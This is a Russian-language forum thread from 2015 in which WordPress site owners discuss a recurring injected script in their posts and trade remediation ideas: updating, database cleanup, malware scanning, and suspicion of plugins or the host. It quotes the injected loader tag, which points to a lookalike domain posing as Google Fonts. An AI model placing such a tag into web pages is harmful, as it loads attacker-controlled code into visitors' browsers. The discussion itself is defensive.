Появился скрипт в статьях на Wordpress

Никто не говорил, что это 100% надежное решение.

Можно обновить и проверить весь сайт (а это деньга), а можно просто обновить и обновлением закрыть дыру.

Ну и конечно почистить бд.

Только никто не гарантирует, что дыра закроется обновлением.

Тут как повезет.

avantus избрал путь обновления.

Возможно, все будет хорошо, что я ему желаю.

Сегодня опять появилась эта же лабуда... я один такой? как боролись?

<script src="//css.googleaps.ru/css?f=Open+Sans&amp;cd=mb&amp;ver=4.2.2"></script>

Вот такой код появился на страницах сайта. Я конечно могу удалить плагином Search Regex, но до этого уже так делал с другим похожим скриптом, а теперь вот снова другая, но подобная фигня появилась. Есть у кого мысли по решению?

Это пробовали:

?

Если не поможет, значит, надо руками искать, как это попадает на сайт....

Погуглил чуток - у многих такая проблема с вордпрессом проявилась (сторонние скрипты аптолайкед, css.googleaps.ru.....). Способа - делаем то-то и все ок пока не увидел.

Возможно - дыра в самом вордпрессе из коробки и простое тотальное обновление всего и вся не поможет.....

Если так - то перекапывать весь вордпресс надо, а это прилично человекочасов...

Пока что просто удалял скрипт. Комп вряд ли заражен, так как не в винде работаю. Пароли менял. Хотя вот недавно доступ к базе давал фрилансеру, но всё равно он не справился с работой и я прежний дамп опять установил. К тому же и на других сайтах сайтах подобная проблема появлялась, только скрипты другие появлялись.

Нужно какое-то готовое более менее универсальное решение. Для начала понять бы, что за фигня это, что она делает и кому это выгодно.

Если в движке/плагинах есть дыра - то это заливают боты.

Посканьте айболитом бд и скрипты - вдруг что найдется.

У одного вебмастера была похожая проблема -оказался вредоносный скриптик лежал на сайте в укромном месте.

Только в айболите ставьте макс. чувствительность и задайте в пхп-ини размер памяти под пхп побольше -чтобы дамп айболит смог проверить.

Лучше сканить на локальном компе -там все равно обычно на нагрузку.

Хотите бесплатное решение - гуглите.

За глаза никто ничего не скажет на 100%..

Проверил ещё несколько сайтов - тоже заражены. Может у хостера уязвимость какая?

Alexbu, версия вп какая?

версия последняя, после августовской напасти я думаю все обновляются вовремя, но только это оказалось не панацея...

---------- Добавлено 16.10.2015 в 22:20 ----------

была такая мысль... у меня ihc.ru хостер

Слышал про ихц, что у них часто были проблемы с безопасностью, не знаю, как сейчас....

Дыра также может быть в каком-либо стороннем плагине.